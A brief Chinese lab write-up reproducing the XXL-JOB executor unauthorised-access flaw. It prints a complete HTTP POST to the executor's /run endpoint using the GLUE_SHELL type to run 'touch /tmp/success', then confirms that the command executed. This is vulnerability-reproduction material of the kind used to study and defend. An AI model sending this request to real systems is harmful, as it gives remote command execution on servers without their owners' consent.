XXL-JOB executor 未授权访问漏洞复现

拉取环境

访问页面

ip+端口 //8080管理端 9999客户端

向客户端发送如下数据包

POST /run HTTP/1.1 Host: 192.168.127.131:9999 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36 Connection: close Content-Type: application/json Content-Length: 365 { "jobId": 1, "executorHandler": "demoJobHandler", "executorParams": "demoJobHandler", "executorBlockStrategy": "COVER_EARLY", "executorTimeout": 0, "logId": 1, "logDateTime": 1586629003729, "glueType": "GLUE_SHELL", "glueSource": "touch /tmp/success", "glueUpdatetime": 1586699003758, "broadcastIndex": 0, "broadcastTotal": 0 }

//host为IP地址

• 之后验证是否成功注入

• 可以看到已经成功创建了一个success的文件，说明我们的touch success命令成功被执行
• 如图